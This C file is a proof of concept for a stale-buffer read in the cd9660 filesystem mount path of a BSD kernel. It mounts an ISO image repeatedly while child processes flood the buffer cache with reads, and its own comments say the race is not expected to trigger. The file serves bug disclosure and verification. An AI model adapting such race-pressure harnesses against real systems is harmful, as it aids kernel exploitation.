/*
 * DF-0851 PoC — stale dereference of rootp after pribp released.
 *
 * Bug: sys/vfs/isofs/cd9660/cd9660_vfsops.c iso_mountfs():
 *   line 407: rootp = pri->root_directory_record  (points into pribp->b_data)
 *   line 435-437: pribp->b_flags |= B_AGE; brelse(pribp); pribp = NULL;
 *   line 466: isonum_711(rootp->ext_attr_length)  <-- stale read of released buffer
 *
 * Reachability: cd9660 mount is SYSCAP_RESTRICTEDROOT (vfs_syscalls.c:5397),
 * so ONLY root can reach iso_mountfs(). The threat model is root mounting an
 * attacker-provided ISO image under heavy concurrent I/O. With B_AGE set,
 * the buffer is preferentially evicted; if evicted+reused between brelse
 * (line 436) and the deref (line 466), rootp reads stale data.
 *
 * This PoC mounts a valid ISO image repeatedly while 8 child processes
 * generate heavy random disk I/O to pressure the buffer cache. If the race
 * triggers, the mount either fails (EIO) or silently uses wrong
 * ext_attr_length (wrong RRIP detection).
 *
 * Expected: race does NOT trigger — the window (lines 437-465) has no I/O,
 * so the B_AGE buffer is virtually always still in cache. The bug is a
 * latent code-level defect confirmed by source trace, not a reliably
 * triggerable runtime fault.
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <vfs/isofs/cd9660/cd9660_mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>

#define ISO_IMAGE "/tmp/df0851.iso"
#define VN_DEV    "/dev/vn0"
#define MNTBASE   "/tmp/df0851_mnt"
#define NTRIES    3000
#define NCHILDREN 8

static volatile sig_atomic_t stop_flag = 0;

static void
sig_handler(int sig)
{
    (void)sig;
    stop_flag = 1;
}

/*
 * Child: heavy random disk I/O to pressure the buffer cache and try to
 * evict the B_AGE-marked pribp buffer in the race window.
 */
static void
io_pressure_child(int seed)
{
    char buf[65536];
    const char *targets[] = {
        "/boot/kernel/kernel",
        "/var/log/messages",
        "/bin/sh",
        "/sbin/init",
        "/usr/lib/libc.so.8",
    };
    int ntargets = sizeof(targets) / sizeof(targets[0]);
    unsigned int rng = seed * 1234567 + getpid();

    while (!stop_flag) {
        int idx = rng % ntargets;
        int fd = open(targets[idx], O_RDONLY);
        if (fd >= 0) {
            off_t off = (rng % 200000) * 512;
            lseek(fd, off, SEEK_SET);
            read(fd, buf, sizeof(buf));
            close(fd);
        }
        rng = rng * 1103515245 + 12345;
    }
    _exit(0);
}

int
main(int argc, char **argv)
{
    struct iso_args args;
    char mntpath[64];
    int i, rc;
    int mount_fail_eio = 0, mount_fail_other = 0, mount_ok = 0;
    pid_t children[NCHILDREN];

    signal(SIGALRM, sig_handler);
    signal(SIGTERM, sig_handler);

    /* Fork I/O pressure children */
    for (i = 0; i < NCHILDREN; i++) {
        pid_t p = fork();
        if (p == 0)
            io_pressure_child(i + 1);
        children[i] = p;
    }

    printf("DF-0851: %d mounts of %s via %s, %d I/O-pressure children\n",
           NTRIES, ISO_IMAGE, VN_DEV, NCHILDREN);
    fflush(stdout);

    for (i = 0; i < NTRIES && !stop_flag; i++) {
        snprintf(mntpath, sizeof(mntpath), "%s_%d", MNTBASE, i % 4);

        memset(&args, 0, sizeof(args));
        args.fspec = VN_DEV;
        args.flags = 0;  /* allow RRIP detection to exercise the stale read path */

        rc = mount("cd9660", mntpath, MNT_RDONLY, &args);
        if (rc != 0) {
            if (errno == EIO)
                mount_fail_eio++;
            else
                mount_fail_other++;
        } else {
            mount_ok++;
            unmount(mntpath, 0);
        }
    }

    stop_flag = 1;
    for (i = 0; i < NCHILDREN; i++) {
        int st;
        kill(children[i], SIGTERM);
        waitpid(children[i], &st, 0);
    }

    printf("DF-0851 RESULT: %d ok, %d failed(EIO), %d failed(other)\n",
           mount_ok, mount_fail_eio, mount_fail_other);

    if (mount_fail_eio > 0 && mount_ok > 0) {
        printf("DF-0851: MIXED — %d EIO failures under I/O pressure.\n",
               mount_fail_eio);
        printf("  This is consistent with (but not proof of) the stale-read race.\n");
        printf("  A pure EIO (no concurrent I/O) would indicate a different bug.\n");
    } else {
        printf("DF-0851: No EIO failures in %d tries. Race did not trigger.\n", NTRIES);
        printf("  EXPECTED: the brelse->deref window (lines 437-465) has no I/O,\n");
        printf("  so the B_AGE buffer is virtually always still in cache.\n");
        printf("  Bug confirmed by code-level trace; not reliably triggerable.\n");
    }

    return (mount_fail_eio > 0) ? 1 : 0;
}
